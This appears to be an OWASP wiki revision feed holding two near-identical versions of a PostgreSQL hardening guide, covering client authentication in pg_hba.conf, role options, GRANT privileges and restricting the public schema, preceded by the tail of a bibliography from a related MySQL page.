* [Amb07]     Eric Amberg. Linux-Server mit Debian. mitp, 2007. (ISBN 3826615875).&lt;br /&gt;
* [Bau02]     Michael Bauer. Building secure servers with Linux. O’Reilly, 2002. (ISBN 0596002173).&lt;br /&gt;
* [BLTR06] Johannes Bauer, Albrecht Liebscher, and Klaus Thielking-Riechert. OpenVPN. Grundlagen, Konfiguration, Praxis. Dpunkt Verlag, 2006. (ISBN 3898643964).&lt;br /&gt;
* [Cod70]     E. F. Codd. A relational model of data for large shared data banks. Communications of the ACM 13 (6), 377-387, 1970.&lt;br /&gt;
* [Eri03]     Jon Erickson. Hacking - the art of exploitation. No starch press, 2003. (ISBN 1593270070).&lt;br /&gt;
* [Ert03]     Wolfgang Ertel. Angewandte Kryptographie. Hanser Fachbuchverlag, 2003. (ISBN 3446223045).&lt;br /&gt;
* [Fos05]     James Foster. Buffer overflow attacks. Syngres Media, 2005. (ISBN 1932266674).&lt;br /&gt;
* [Gri05]     Lenz Grimmer. Mysql backup and security, 2005.&lt;br /&gt;
* [Kre04]     Juergen Kreileder. Chrooting mysql on debian, 2004.&lt;br /&gt;
* [MBBS07] Keith Murphy, Peter Brawley, Dan Buettner, and Baron Schwartz. Mysql magazine, 2007. Issue 1.&lt;br /&gt;
* [One]       Aleph One. Smashing the stack for fun and profit. Phrack magazine vol 49, File 14 of 16.&lt;br /&gt;
* [Pac05]     Lars Packshies. Praktische Kryptographie unter Linux. Open source press, 2005. (ISBN: 3937514066).&lt;br /&gt;
* [PW07]   Johannes Ploetner and Steffen Wendzel. Netzwerksicherheit. Galileo press, 2007. (ISBN 3898428286).&lt;br /&gt;
* [SBZD07] Henning Sprang, Timo Benk, Jaroslaw Zdrzalek, and Ralph Dehner. Xen. Virtualisierung unter Linux. Open source press, 2007. (ISBN 3937514295).&lt;br /&gt;
* [Sch05]  Bruce Schneier. Angewandte Kryptographie. Algorithmen, Protokolle und Sourcecode in C. Pearson Studium, 2005. (ISBN 0471117099).&lt;br /&gt;
* [SR07]   M. Stipcevic and B. Medved Rogina. Quantum random number generator. Rudjer Boskovic Institute, Bijenicka, Zagreb, Croata, 2007.&lt;br /&gt;
* [SWF05]  Ellen Siever, Aaron Weber, and Stephen Figgins. Linux in a nutshell. O’Reilly, 2005. (ISBN 0596009305).&lt;br /&gt;
* [Vas04]  Vikram Vaswani. MySQL: The complete reference. Mcgraw-Hill Professional, 2004. (ISBN 0072224770).&lt;br /&gt;
* [Wae03]  Dietmar Waetjen. Kryptographie. Grundlagen, Algorithmen, Protokolle. Spektrum Adakemischer Verlag, 2003. (ISBN 3827414318).&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PostgreSQL_Hardening&amp;diff=44162</id>
		<title>OWASP Backend Security Project PostgreSQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PostgreSQL_Hardening&amp;diff=44162"/>
				<updated>2008-10-21T00:48:18Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* &amp;lt;br&amp;gt;References &amp;lt;br&amp;gt; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview  =&lt;br /&gt;
&lt;br /&gt;
PostgreSQL is an object-relational database management system (ORDBMS). It is an enhancement of the original POSTGRES database management system, a next-generation DBMS research prototype. While PostgreSQL retains the powerful data model and rich data types of POSTGRES, it replaces the PostQuel query language with an extended subset of SQL. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This paragraph has the objectives to define the minimum security requirements for configuring and managing PostgreSQL.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Description  =&lt;br /&gt;
&lt;br /&gt;
== Server installation and updating&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
I decided to not face the installation hardening in this little guide, there is a lot of documentation about installing and chrooting software. You can find some usefull information about the PostgreSQL configuration files here: &lt;br /&gt;
&lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-connection.html &lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-resource.html &lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/preventing-server-spoofing.html&lt;br /&gt;
&lt;br /&gt;
You can monitor the PostgreSQL security alert there: http://www.postgresql.org/support/security.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== pg_hba.conf - Client Authentication  ==&lt;br /&gt;
&lt;br /&gt;
pg_hba.conf is one of the main configuration file of PostgresSQL, it define the connection authorization. The file structure is: &lt;br /&gt;
&amp;lt;pre&amp;gt;TYPE - DATABASE - USER - CIDR_ADDRESS - METHOD&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Argument &lt;br /&gt;
! Description &lt;br /&gt;
! Values&lt;br /&gt;
|-&lt;br /&gt;
| TYPE &lt;br /&gt;
| Connection type accepted by the server &lt;br /&gt;
| &lt;br /&gt;
*local: unix-domain socket &lt;br /&gt;
*host: TCP/IP connection with or without SSL &lt;br /&gt;
*hostnossl: TCP/IP connection without SSL &lt;br /&gt;
*hostssl: TCP/IP connection with SSL&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| DATABASE &lt;br /&gt;
| Database rule &lt;br /&gt;
| &lt;br /&gt;
*all: connection allowed to all databases. &lt;br /&gt;
*sameuser: connection allowed only to database with the same user &lt;br /&gt;
*samerole/samegroup: user must be a member of the role with the same name as the requested database &lt;br /&gt;
*database name: connection allowed only to database list (separated by comma)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| USER &lt;br /&gt;
| Usernames&amp;lt;br&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
*all: connection allowed to all users &lt;br /&gt;
*username: single username allowed (Multiples usernames or groups can be allowed via comma separated field) &lt;br /&gt;
*+groupname: username of a group allowed&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| CIDR-ADDRESS &lt;br /&gt;
| Source address&amp;lt;br&amp;gt; &lt;br /&gt;
| Source network allowed to conenct to this rules. You have two way to define this parameter, the firstone is use a CIDR notation (192.168.0.0/24), the second one is use two parameter, one for the host and the second for the netmask.&lt;br /&gt;
|-&lt;br /&gt;
| METHOD &lt;br /&gt;
| Authentication method&amp;lt;br&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
*trust: Allow the connection unconditionally. &lt;br /&gt;
*reject: Reject the connection unconditionally. &lt;br /&gt;
*md5: Authentication with MD5 encrypted password. &lt;br /&gt;
*crypt: Authentication with crypt() encrypted password. &lt;br /&gt;
*password: Authentication with plain text password. &lt;br /&gt;
*gss: Authentication with GSSAPI. &lt;br /&gt;
*sspi: Authentication with SSPI. &lt;br /&gt;
*krb5: Authentication with Kerberos V5. &lt;br /&gt;
*ident: Authentication via ident protocol.&amp;lt;br&amp;gt; &lt;br /&gt;
*ldap: LDAP authentication. &lt;br /&gt;
*pam: PAM authentication.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
You have to: &lt;br /&gt;
&lt;br /&gt;
*'''Disable all trust connections''' &lt;br /&gt;
*'''Use strong authentication (md5/kerberos etc)&amp;lt;br&amp;gt;''' &lt;br /&gt;
*'''Limit connections only from allowed IP''' &lt;br /&gt;
*'''Use SSL connection'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/auth-pg-hba-conf.html &lt;br /&gt;
&lt;br /&gt;
== Users roles&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
Users and roles in PostgresSQL are the same (for example CREATE USER is only a wrapper to CREATE ROLE). While you are creating a new user you can assign different options.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE ROLE name [ [ WITH ] option [ ... ] ]&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot; style=&amp;quot;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Option&amp;lt;br&amp;gt; &lt;br /&gt;
| Description&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| SUPERUSER&amp;lt;br&amp;gt;NOSUPERUSER&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether the new role is a &amp;quot;superuser&amp;quot;, who can override all access restrictions within the database. Superuser status is dangerous and should be used only when really needed. You must yourself be a superuser to create a new superuser. If not specified, NOSUPERUSER is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEDB&amp;lt;br&amp;gt;NOCREATEDB&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses define a role's ability to create databases. If CREATEDB is specified, the role being defined will be allowed to create new databases. Specifying NOCREATEDB will deny a role the ability to create databases. If not specified, NOCREATEDB is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEROLE&amp;lt;br&amp;gt;NOCREATEROLE&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role will be permitted to create new roles (that is, execute CREATE ROLE). A role with CREATEROLE privilege can also alter and drop other roles. If not specified, NOCREATEROLE is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEUSER&amp;lt;br&amp;gt;NOCREATEUSER&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses are an obsolete, but still accepted, spelling of SUPERUSER and NOSUPERUSER. Note that they are not equivalent to CREATEROLE as one might naively expect! &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| INHERIT&amp;lt;br&amp;gt;NOINHERIT&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role &amp;quot;inherits&amp;quot; the privileges of roles it is a member of. A role with the INHERIT attribute can automatically use whatever database privileges have been granted to all roles it is directly or indirectly a member of. Without INHERIT, membership in another role only grants the ability to SET ROLE to that other role; the privileges of the other role are only available after having done so. If not specified, INHERIT is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| LOGIN&amp;lt;br&amp;gt;NOLOGIN&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role is allowed to log in; that is, whether the role can be given as the initial session authorization name during client connection. A role having the LOGIN attribute can be thought of as a user. Roles without this attribute are useful for managing database privileges, but are not users in the usual sense of the word. If not specified, NOLOGIN is the default, except when CREATE ROLE is invoked through its alternative spelling CREATE USER. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CONNECTION LIMIT connlimit&amp;lt;br&amp;gt; &lt;br /&gt;
| If role can log in, this specifies how many concurrent connections the role can make. -1 (the default) means no limit. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| ENCRYPTED&amp;lt;br&amp;gt;UNENCRYPTED&amp;lt;br&amp;gt; &lt;br /&gt;
| These key words control whether the password is stored encrypted in the system catalogs. (If neither is specified, the default behavior is determined by the configuration parameter password_encryption.) If the presented password string is already in MD5-encrypted format, then it is stored encrypted as-is, regardless of whether ENCRYPTED or UNENCRYPTED is specified (since the system cannot decrypt the specified encrypted password string). This allows reloading of encrypted passwords during dump/restore.&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| VALID UNTIL 'timestamp'&amp;lt;br&amp;gt; &lt;br /&gt;
| The VALID UNTIL clause sets a date and time after which the role's password is no longer valid. If this clause is omitted the password will be valid for all time. &amp;lt;br&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
One example of create role can be: &lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE ROLE miriam WITH LOGIN PASSWORD 'jw8s0F4' VALID UNTIL '2005-01-01';&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/sql-createrole.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Access Privileges&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&lt;br /&gt;
After the creation of a role you have to grant it privileges to a specific database. A good pratice is to create two different user for each database, the first as the complete control, the second one is able only to read and modify the data. The second user will be used on the web application and similar, so if someone get access will not be able to modify the database structure, create trigger or functions.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;GRANT { { SELECT | INSERT | UPDATE | DELETE | REFERENCES | TRIGGER } [,...] | ALL [ PRIVILEGES ] }  ON [ TABLE ] tablename [, ...] TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION &lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Option&amp;lt;br&amp;gt; &lt;br /&gt;
| Value&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| SELECT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows SELECT from any column of the specified table, view, or sequence. Also allows the use of COPY TO. This privilege is also needed to reference existing column values in UPDATE or DELETE. For sequences, this privilege also allows the use of the currval function. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| INSERT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows INSERT of a new row into the specified table. Also allows COPY FROM. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| UPDATE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows UPDATE of any column of the specified table. (In practice, any nontrivial UPDATE command will require SELECT privilege as well, since it must reference table columns to determine which rows to update, and/or to compute new values for columns.) SELECT ... FOR UPDATE and SELECT ... FOR SHARE also require this privilege, in addition to the SELECT privilege. For sequences, this privilege allows the use of the nextval and setval functions. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| DELETE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows DELETE of a row from the specified table. (In practice, any nontrivial DELETE command will require SELECT privilege as well, since it must reference table columns to determine which rows to delete.) &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| REFERENCES&amp;lt;br&amp;gt; &lt;br /&gt;
| To create a foreign key constraint, it is necessary to have this privilege on both the referencing and referenced tables. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| TRIGGER&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the creation of a trigger on the specified table. (See the CREATE TRIGGER statement.) &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATE&amp;lt;br&amp;gt; &lt;br /&gt;
| For databases, allows new schemas to be created within the database. &lt;br /&gt;
For schemas, allows new objects to be created within the schema. To rename an existing object, you must own the object and have this privilege for the containing schema. &lt;br /&gt;
&lt;br /&gt;
For tablespaces, allows tables, indexes, and temporary files to be created within the tablespace, and allows databases to be created that have the tablespace as their default tablespace. (Note that revoking this privilege will not alter the placement of existing objects.) &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| CONNECT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the user to connect to the specified database. This privilege is checked at connection startup (in addition to checking any restrictions imposed by pg_hba.conf). &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| TEMPORARY&amp;lt;br&amp;gt;TEMP&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows temporary tables to be created while using the specified database. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| EXECUTE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the use of the specified function and the use of any operators that are implemented on top of the function. This is the only type of privilege that is applicable to functions. (This syntax works for aggregate functions, as well.)&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| USAGE&amp;lt;br&amp;gt; &lt;br /&gt;
| For procedural languages, allows the use of the specified language for the creation of functions in that language. This is the only type of privilege that is applicable to procedural languages. &lt;br /&gt;
For schemas, allows access to objects contained in the specified schema (assuming that the objects' own privilege requirements are also met). Essentially this allows the grantee to &amp;quot;look up&amp;quot; objects within the schema. Without this permission, it is still possible to see the object names, e.g. by querying the system tables. Also, after revoking this permission, existing backends might have statements that have previously performed this lookup, so this is not a completely secure way to prevent object access. &lt;br /&gt;
&lt;br /&gt;
For sequences, this privilege allows the use of the currval and nextval functions. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| ALL PRIVILEGES&amp;lt;br&amp;gt; &lt;br /&gt;
| Grant all of the available privileges at once. The PRIVILEGES key word is optional in PostgreSQL, though it is required by strict SQL. &amp;lt;br&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/sql-grant.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Removing the default &amp;quot;public&amp;quot; schema&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
By default PostgresSQL use a public schema used for store information about the databases, tables, procedures. This schema by default is accessible by all users, so all users can see every tables structure or procedures.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Removing the public schema&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&lt;br /&gt;
Removing the public schema from all users.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;REVOKE CREATE ON SCHEMA public FROM PUBLIC;&amp;lt;/pre&amp;gt; &lt;br /&gt;
=== Creating a new protected schema&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE SCHEMA myschema AUTHORIZATION [username];&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
=== Modify search_path of the user&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&amp;lt;pre&amp;gt;SET search_path TO myschema,public;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
In this way the database structure will be stored on a private schema and the access will be guaranteed only to the right user.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/ddl-schemas.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Limiting file access to filesystem and system routines&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
By default PostrgreSQL deny to all users to access filesystem and system routines, only superuser are allowed to do that.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
PostgreSQL documentation can be found at http://www.postgresql.org/docs/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PostgreSQL_Hardening&amp;diff=44161</id>
		<title>OWASP Backend Security Project PostgreSQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PostgreSQL_Hardening&amp;diff=44161"/>
				<updated>2008-10-21T00:47:23Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview  =&lt;br /&gt;
&lt;br /&gt;
PostgreSQL is an object-relational database management system (ORDBMS). It is an enhancement of the original POSTGRES database management system, a next-generation DBMS research prototype. While PostgreSQL retains the powerful data model and rich data types of POSTGRES, it replaces the PostQuel query language with an extended subset of SQL. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This paragraph has the objectives to define the minimum security requirements for configuring and managing PostgreSQL.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Description  =&lt;br /&gt;
&lt;br /&gt;
== Server installation and updating&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
I decided to not face the installation hardening in this little guide, there is a lot of documentation about installing and chrooting software. You can find some usefull information about the PostgreSQL configuration files here: &lt;br /&gt;
&lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-connection.html &lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-resource.html &lt;br /&gt;
*http://www.postgresql.org/docs/8.3/interactive/preventing-server-spoofing.html&lt;br /&gt;
&lt;br /&gt;
You can monitor the PostgreSQL security alert there: http://www.postgresql.org/support/security.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== pg_hba.conf - Client Authentication  ==&lt;br /&gt;
&lt;br /&gt;
pg_hba.conf is one of the main configuration file of PostgresSQL, it define the connection authorization. The file structure is: &lt;br /&gt;
&amp;lt;pre&amp;gt;TYPE - DATABASE - USER - CIDR_ADDRESS - METHOD&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Argument &lt;br /&gt;
! Description &lt;br /&gt;
! Values&lt;br /&gt;
|-&lt;br /&gt;
| TYPE &lt;br /&gt;
| Connection type accepted by the server &lt;br /&gt;
| &lt;br /&gt;
*local: unix-domain socket &lt;br /&gt;
*host: TCP/IP connection with or without SSL &lt;br /&gt;
*hostnossl: TCP/IP connection without SSL &lt;br /&gt;
*hostssl: TCP/IP connection with SSL&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| DATABASE &lt;br /&gt;
| Database rule &lt;br /&gt;
| &lt;br /&gt;
*all: connection allowed to all databases. &lt;br /&gt;
*sameuser: connection allowed only to database with the same user &lt;br /&gt;
*samerole/samegroup: user must be a member of the role with the same name as the requested database &lt;br /&gt;
*database name: connection allowed only to database list (separated by comma)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| USER &lt;br /&gt;
| Usernames&amp;lt;br&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
*all: connection allowed to all users &lt;br /&gt;
*username: single username allowed (Multiples usernames or groups can be allowed via comma separated field) &lt;br /&gt;
*+groupname: username of a group allowed&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| CIDR-ADDRESS &lt;br /&gt;
| Source address&amp;lt;br&amp;gt; &lt;br /&gt;
| Source network allowed to conenct to this rules. You have two way to define this parameter, the firstone is use a CIDR notation (192.168.0.0/24), the second one is use two parameter, one for the host and the second for the netmask.&lt;br /&gt;
|-&lt;br /&gt;
| METHOD &lt;br /&gt;
| Authentication method&amp;lt;br&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
*trust: Allow the connection unconditionally. &lt;br /&gt;
*reject: Reject the connection unconditionally. &lt;br /&gt;
*md5: Authentication with MD5 encrypted password. &lt;br /&gt;
*crypt: Authentication with crypt() encrypted password. &lt;br /&gt;
*password: Authentication with plain text password. &lt;br /&gt;
*gss: Authentication with GSSAPI. &lt;br /&gt;
*sspi: Authentication with SSPI. &lt;br /&gt;
*krb5: Authentication with Kerberos V5. &lt;br /&gt;
*ident: Authentication via ident protocol.&amp;lt;br&amp;gt; &lt;br /&gt;
*ldap: LDAP authentication. &lt;br /&gt;
*pam: PAM authentication.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
You have to: &lt;br /&gt;
&lt;br /&gt;
*'''Disable all trust connections''' &lt;br /&gt;
*'''Use strong authentication (md5/kerberos etc)&amp;lt;br&amp;gt;''' &lt;br /&gt;
*'''Limit connections only from allowed IP''' &lt;br /&gt;
*'''Use SSL connection'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/auth-pg-hba-conf.html &lt;br /&gt;
&lt;br /&gt;
== Users roles&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
Users and roles in PostgresSQL are the same (for example CREATE USER is only a wrapper to CREATE ROLE). While you are creating a new user you can assign different options.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE ROLE name [ [ WITH ] option [ ... ] ]&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot; style=&amp;quot;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Option&amp;lt;br&amp;gt; &lt;br /&gt;
| Description&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| SUPERUSER&amp;lt;br&amp;gt;NOSUPERUSER&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether the new role is a &amp;quot;superuser&amp;quot;, who can override all access restrictions within the database. Superuser status is dangerous and should be used only when really needed. You must yourself be a superuser to create a new superuser. If not specified, NOSUPERUSER is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEDB&amp;lt;br&amp;gt;NOCREATEDB&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses define a role's ability to create databases. If CREATEDB is specified, the role being defined will be allowed to create new databases. Specifying NOCREATEDB will deny a role the ability to create databases. If not specified, NOCREATEDB is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEROLE&amp;lt;br&amp;gt;NOCREATEROLE&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role will be permitted to create new roles (that is, execute CREATE ROLE). A role with CREATEROLE privilege can also alter and drop other roles. If not specified, NOCREATEROLE is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATEUSER&amp;lt;br&amp;gt;NOCREATEUSER&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses are an obsolete, but still accepted, spelling of SUPERUSER and NOSUPERUSER. Note that they are not equivalent to CREATEROLE as one might naively expect! &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| INHERIT&amp;lt;br&amp;gt;NOINHERIT&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role &amp;quot;inherits&amp;quot; the privileges of roles it is a member of. A role with the INHERIT attribute can automatically use whatever database privileges have been granted to all roles it is directly or indirectly a member of. Without INHERIT, membership in another role only grants the ability to SET ROLE to that other role; the privileges of the other role are only available after having done so. If not specified, INHERIT is the default. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| LOGIN&amp;lt;br&amp;gt;NOLOGIN&amp;lt;br&amp;gt; &lt;br /&gt;
| These clauses determine whether a role is allowed to log in; that is, whether the role can be given as the initial session authorization name during client connection. A role having the LOGIN attribute can be thought of as a user. Roles without this attribute are useful for managing database privileges, but are not users in the usual sense of the word. If not specified, NOLOGIN is the default, except when CREATE ROLE is invoked through its alternative spelling CREATE USER. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CONNECTION LIMIT connlimit&amp;lt;br&amp;gt; &lt;br /&gt;
| If role can log in, this specifies how many concurrent connections the role can make. -1 (the default) means no limit. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| ENCRYPTED&amp;lt;br&amp;gt;UNENCRYPTED&amp;lt;br&amp;gt; &lt;br /&gt;
| These key words control whether the password is stored encrypted in the system catalogs. (If neither is specified, the default behavior is determined by the configuration parameter password_encryption.) If the presented password string is already in MD5-encrypted format, then it is stored encrypted as-is, regardless of whether ENCRYPTED or UNENCRYPTED is specified (since the system cannot decrypt the specified encrypted password string). This allows reloading of encrypted passwords during dump/restore.&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| VALID UNTIL 'timestamp'&amp;lt;br&amp;gt; &lt;br /&gt;
| The VALID UNTIL clause sets a date and time after which the role's password is no longer valid. If this clause is omitted the password will be valid for all time. &amp;lt;br&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
One example of create role can be: &lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE ROLE miriam WITH LOGIN PASSWORD 'jw8s0F4' VALID UNTIL '2005-01-01';&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/sql-createrole.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Access Privileges&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&lt;br /&gt;
After the creation of a role you have to grant it privileges to a specific database. A good pratice is to create two different user for each database, the first as the complete control, the second one is able only to read and modify the data. The second user will be used on the web application and similar, so if someone get access will not be able to modify the database structure, create trigger or functions.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;GRANT { { SELECT | INSERT | UPDATE | DELETE | REFERENCES | TRIGGER } [,...] | ALL [ PRIVILEGES ] }  ON [ TABLE ] tablename [, ...] TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION &lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
